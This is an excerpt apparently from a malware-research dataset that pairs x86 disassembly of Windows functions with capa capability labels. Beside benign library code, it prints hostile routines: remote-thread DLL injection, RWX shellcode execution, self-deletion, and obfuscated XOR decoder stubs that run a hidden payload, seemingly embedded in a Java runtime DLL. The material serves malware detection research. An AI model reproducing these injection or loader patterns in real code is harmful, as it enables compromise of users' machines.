joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6ce41739
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x6ce41832
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x6ce418a0
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x6ce419db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret

Function at 0x6ce41a3f
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
mov dword [esp], 0x1388
call sym._Sleep_4
sub esp, 4
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._DeleteFileA_4
sub esp, 4
nop
leave
ret
Function at 0x6ce41dd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x6ce4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x6ce46034]
sub esp, 4
test ebx, ebx
je 0x6ce41e1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x6ce41e14
test esi, esi
je 0x6ce41e14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6ce41df0
mov dword [esp], 0x6ce4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x6ce42000
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x6ce44178
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x6ce42050
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x6ce42128
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x6ce4208e
cmp eax, 4
jne 0x6ce420b0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x6ce4209e
cmp edx, 4
je 0x6ce4209e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.6ce42000
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000f197
pop dword [ebp - 0x50]
mov eax, 0xba67c414
add eax, 0x55992d83
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3b025
push 0
mov eax, 0x45c5ad75
add eax, 0xca3b92ef
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x330299c0
add ecx, 0xccfdb5f7
xor edi, edi
add edi, eax
mov ebx, 0x155b032c
sub ebx, 0x5597d2c
add ebx, dword [ebp - 0x50]
mov edx, 0xa877a8f
add edx, 0x930beddb
xor dword [ebp - 0xc], 0x13a1535c
mov esi, dword [ebx]
xor dword [ebp - 0x28], ecx
add esi, edx
xor dword [ebp - 0x20], edi
mov dword [edi], esi
sub dword [ebp - 0x48], 0xd53a30f4
add edi, 0xb1965dfc
add edi, 0x4e69a208
add ebx, 4
loop 0x1000f1f8
add eax, 0x6d2c6292
add eax, 0x92d4cf1d
mov ebx, eax
add eax, 0xfa0fc449
add eax, 0x5f03bbc
mov ecx, 0xb6a6192b
sub ecx, 0xa6a6192b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4
Function at 0x43ec60
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push dword [0x4c5b00]
mov dword [ebp - 0x10], 0x7b614c17
mov eax, 0xffffeb8d
mov dword [ebp - 0xc], 0x4e430e97
mov dword [ebp - 8], 0x4e95bdf8
mov word [ebp - 4], ax
call fcn.004296f0
movsx eax, word [ebp - 4]
add esp, 4
movss xmm0, dword [ebp - 8]
subss xmm0, dword [0x4b97ac]
movss xmm2, dword [0x4b1a98]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si eax, xmm1
mov word [ebp - 4], ax
movss xmm0, dword [ebp - 8]
addss xmm0, xmm2
movss dword [ebp - 8], xmm0
mov ecx, dword [0x4c403c]
mov eax, dword [0x4c4420]
add ecx, 0xb68f5de2
dec dword [0x4c4420]
cmp eax, ecx
je 0x43ed3e
movsx eax, word [0x4c4080]
movss xmm1, dword [0x4c435c]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
movss xmm0, dword [ebp - 0xc]
mov eax, dword [0x4c42b4]
subss xmm1, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si eax, xmm1
mov dword [0x4c42b4], eax
dec word [0x4c4080]
movss xmm0, dword [0x4c435c]
addss xmm0, xmm2
movss dword [0x4c435c], xmm0
dec dword [0x4c4370]
movss xmm1, dword [ebp - 0xc]
mov eax, dword [0x4c4370]
addss xmm1, dword [0x4b7e54]
push 1
movd xmm0, eax
mov eax, dword [ebp - 0x10]
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [ebp - 0x10], eax
call fcn.0049a232
int3
Function at 0x4a420a
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4c5130]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0049c091
mov dword [ebp - 0x14], eax
cmp dword [0x4c7708], esi
jne 0x4a42fd
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4a428a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4a43dd
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4a43dd
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4a43dd
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x4c7708], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x4c770c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x4c7710], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4c7718], eax
test eax, eax
je 0x4a42fa
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4c7714], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4a4322
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4a4315
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4a4337
push 4
pop eax
jmp 0x4a43df
cmp dword [ebp - 0x14], esi
je 0x4a4337
push dword [0x4c7708]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4a431c
mov eax, dword [0x4c7714]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4a4395
cmp dword [0x4c7718], edi
je 0x4a4395
push eax
call ebx
push dword [0x4c7718]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4a4395
test eax, eax
je 0x4a4395
call ecx
test eax, eax
je 0x4a438a
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4a438a
test byte [ebp - 8], 1
jne 0x4a4395
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4a43c5
mov eax, dword [0x4c770c]
cmp eax, edi
je 0x4a43c2
push eax
call ebx
test eax, eax
je 0x4a43c2
call eax
mov esi, eax
test esi, esi
je 0x4a43c2
mov eax, dword [0x4c7710]
cmp eax, edi
je 0x4a43c2
push eax
call ebx
test eax, eax
je 0x4a43c2
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x4c7708]
call ebx
test eax, eax
je 0x4a43dd
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4a43df
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049b05b
mov esp, ebp
pop ebp
ret
Function at 0x10002021
Capabilities:
Query environment variable

Disassembly:
cmp dword [esp + 0xc], 0
push ebx
push ebp
je 0x1000209d
xor ebp, ebp
push ebp
push dword [esp + 0x18]
push dword [esp + 0x14]
call sym.java.dll__JNU_GetStringPlatformChars_12
mov ebx, eax
test ebx, ebx
je 0x1000209d
push edi
push ebp
push ebp
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
mov ebp, eax
test ebp, ebp
je 0x10002088
push ebp
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
pop ecx
test edi, edi
je 0x10002088
push ebp
push edi
push ebx
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
push edi
test eax, eax
je 0x10002081
push dword [esp + 0x14]
call sym.java.dll__JNU_NewStringPlatform_8
push edi
mov ebp, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000208a
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor ebp, ebp
push ebx
push dword [esp + 0x1c]
push dword [esp + 0x18]
call sym.java.dll__JNU_ReleaseStringPlatformChars_12
mov eax, ebp
pop edi
jmp 0x1000209f
xor eax, eax
pop ebp
pop ebx
ret 0xc

Function at 0x10002819
Capabilities:
Identify system language via api

Disassembly:
cmp dword [esp + 0xc], 0
je 0x10002828
call dword [sym.imp.kernel32.dll_GetUserDefaultLCID]
jmp 0x1000282e
call dword [sym.imp.kernel32.dll_GetUserDefaultUILanguage]
push esi
movzx eax, ax
push edi
push eax
call fcn.1000e6a0
mov esi, eax
pop ecx
test esi, esi
je 0x1000285a
mov ecx, dword [esp + 0xc]
push esi
push ecx
mov edx, dword [ecx]
call dword [edx + 0x29c]
push esi
mov edi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
jmp 0x1000286a
push str.memory_allocation_error
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor edi, edi
mov eax, edi
pop edi
pop esi
ret 0xc

Function at 0x10003d57
Capabilities:
Query environment variable

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
push esi
call sym.java.dll__JNU_ClassString_4
mov ebp, eax
test ebp, ebp
je 0x10003da0
mov ecx, dword [esi]
push str.__B_V
push str._init_
push ebp
push esi
call dword [ecx + 0x84]
mov dword [esp + 0x14], eax
test eax, eax
je 0x10003da0
call dword [sym.imp.kernel32.dll_GetEnvironmentStrings]
mov edi, eax
test edi, edi
jne 0x10003da9
push str.GetEnvironmentStrings_failed
push esi
call sym.java.dll__JNU_ThrowOutOfMemoryError_8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
xor ebx, ebx
cmp byte [edi], bl
je 0x10003dbc
mov al, byte [ebx + edi]
inc ebx
test al, al
jne 0x10003daf
cmp byte [ebx + edi], al
jne 0x10003daf
mov eax, dword [esi]
push ebx
push esi
call dword [eax + 0x2c0]
mov ecx, eax
mov dword [esp + 0x10], ecx
push edi
test ecx, ecx
jne 0x10003dd9
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
jmp 0x10003da0
mov eax, dword [esi]
push ebx
push 0
push ecx
push esi
call dword [eax + 0x340]
push edi
call dword [sym.imp.kernel32.dll_FreeEnvironmentStringsA]
push dword [esp + 0x10]
mov eax, dword [esi]
push dword [esp + 0x18]
push ebp
push esi
call dword [eax + 0x70]
add esp, 0x10
jmp 0x10003da2
Function at 0x10007bba
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [sym.imp.advapi32.dll_CryptAcquireContextA]
lea eax, [esp + 0xc]
push edi
push 0
xor ebp, ebp
mov edi, str.J2SE
inc ebp
xor bl, bl
push ebp
push 0
push edi
push eax
call esi
test eax, eax
jne 0x10007bf4
push 8
push ebp
push eax
push edi
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x10007bf4
xor al, al
jmp 0x10007c51
mov esi, dword [esp + 0x18]
push dword [esp + 0x20]
push esi
mov eax, dword [esi]
call dword [eax + 0x2ac]
mov ecx, dword [esi]
mov ebp, eax
push 0
push dword [esp + 0x24]
push esi
call dword [ecx + 0x2e0]
mov edi, eax
test edi, edi
je 0x10007c43
push edi
push ebp
push dword [esp + 0x18]
call dword [sym.imp.advapi32.dll_CryptGenRandom]
mov ecx, dword [esi]
test eax, eax
push 1
pop eax
push 0
push edi
push dword [esp + 0x28]
movzx ebx, bl
push esi
cmovne ebx, eax
call dword [ecx + 0x300]
push 0
push dword [esp + 0x14]
call dword [sym.imp.advapi32.dll_CryptReleaseContext]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 0xc

Function at 0x10007f15
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
push dword [0x1001ff58]
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a1e8
mov esi, eax
add esp, 0xc
test esi, esi
je 0x10007f66
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
push eax
push esi
call fcn.1000e6a0
push esi
mov ebx, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 0xc
cmp ebx, 0xffffffff
je 0x10007f66
mov ecx, dword [esp + 0x18]
sub ecx, 1
je 0x10007f75
sub ecx, 1
je 0x10007f6d
dec ecx
sub ecx, 1
je 0x10007f75
xor al, al
pop esi
pop ebx
ret 0x10
and bl, 0x11
cmp bl, 1
je 0x10007f66
mov al, 1
jmp 0x10007f68

Function at 0x10007f79
Capabilities:
Create directory

Disassembly:
push edi
push dword [0x1001ff58]
push dword [esp + 0x14]
push dword [esp + 0x10]
call fcn.1000a1e8
mov edi, eax
add esp, 0xc
test edi, edi
je 0x10007fb3
push esi
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryW]
push edi
mov esi, eax
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
pop esi
je 0x10007fb3
mov al, 1
jmp 0x10007fb5
xor al, al
pop edi
ret 0xc
Function at 0x10007fba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
xor edi, edi
push edi
push dword [esp + 0x18]
push dword [esp + 0x14]
call fcn.1000a6ac
mov esi, eax
add esp, 0xc
test esi, esi
je 0x1000803c
push esi
call fcn.1000e6a0
pop ecx
test eax, eax
jne 0x10008034
push edi
push 0x200080
push 1
push edi
push 3
push 0xc0000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008043
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
cmp edi, 0x50
je 0x10008034
cmp edi, 0xb7
je 0x10008034
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10008034
push edi
call dword [sym.imp.kernel32.dll_SetLastError]
push str.Could_not_open_file
push dword [esp + 0x10]
call sym.java.dll__JNU_ThrowIOExceptionWithLastError_8
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
xor al, al
pop edi
pop esi
ret 0xc
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov al, 1
jmp 0x1000803e

Function at 0x1000836f
Capabilities:
Get disk size

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x1001ff00]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b8]
xorps xmm0, xmm0
mov ecx, dword [ebp + 0x7b0]
push ebx
push esi
push edi
push dword [0x1001ff58]
movlpd qword [ebp - 0x80], xmm0
push eax
push ecx
call fcn.1000a1e8
add esp, 0xc
mov ebx, eax
lea eax, [ebp - 0x60]
push 0x400
push eax
push ebx
call dword [sym.imp.kernel32.dll_GetVolumePathNameW]
test eax, eax
je 0x1000840e
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x60]
push eax
call dword [sym.imp.kernel32.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x1000840e
mov eax, dword [ebp + 0x7bc]
sub eax, 0
je 0x10008406
sub eax, 1
je 0x100083fe
sub eax, 1
jne 0x1000840e
mov esi, dword [ebp - 0x68]
mov edi, dword [ebp - 0x64]
jmp 0x10008414
mov esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
jmp 0x10008414
mov esi, dword [ebp - 0x78]
mov edi, dword [ebp - 0x74]
jmp 0x10008414
mov edi, dword [ebp - 0x7c]
mov esi, dword [ebp - 0x80]
push ebx
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov ecx, dword [ebp + 0x7a4]
mov edx, edi
pop edi
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.10014785
add ebp, 0x7a8
leave
ret 0x10
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000e6a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000e6af
pop dword [ebp - 0x34]
mov eax, 0xdbe8ae60
add eax, 0x3418384f
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x64e93c25
add dword [ebp - 0x44], 0xe9690926
mov dword [ebp - 0x40], 0xa1f3764e
sub dword [ebp - 0x40], 0x6fc02a09
mov dword [ebp - 0x3c], 0xd7dcbbc1
add dword [ebp - 0x3c], 0x746f886d
mov dword [ebp - 0x38], 0xd2e50774
add dword [ebp - 0x38], 0x2d1af88c
lea eax, [ebp - 0x44]
push eax
mov eax, 0x4bc0383b
sub eax, 0x3bbed7db
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x2683f82a
add dword [ebp - 0x44], 0x4dee712c
mov dword [ebp - 0x40], 0xcb8a9f98
sub dword [ebp - 0x40], 0x8a1e3e23
mov dword [ebp - 0x3c], 0x9c3f380e
add dword [ebp - 0x3c], 0xc730345e
mov dword [ebp - 0x38], 0x7947653e
sub dword [ebp - 0x38], 0x7947653e
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x34637
push 0
call eax
mov ecx, 0x6ef8e4e7
sub ecx, 0x6ef8aab4
mov edi, eax
mov ebx, 0x10023600
add ebx, dword [ebp - 0x34]
mov edx, 0xc1154250
sub edx, 0x5c1f66f7
mov dword [ebp - 0x28], 0x874e498b
mov esi, dword [ebx]
sub dword [ebp - 0x20], 0x7bf1bed5
add esi, edx
sub dword [ebp - 0x30], 0x372cca44
mov dword [edi], esi
xor dword [ebp - 0x28], 0x8d8d8c7a
add edi, 4
add ebx, 0x9eeb7635
add ebx, 0x611489cf
loop 0x1000e7c6
add eax, 0xdb9f
xor ebx, ebx
add ebx, eax
add eax, 0xb744185
sub eax, 0xb744180
mov ecx, 0xe6031023
sub ecx, 0xd6031023
add ecx, dword [ebp - 0x34]
call ebx
leave
ret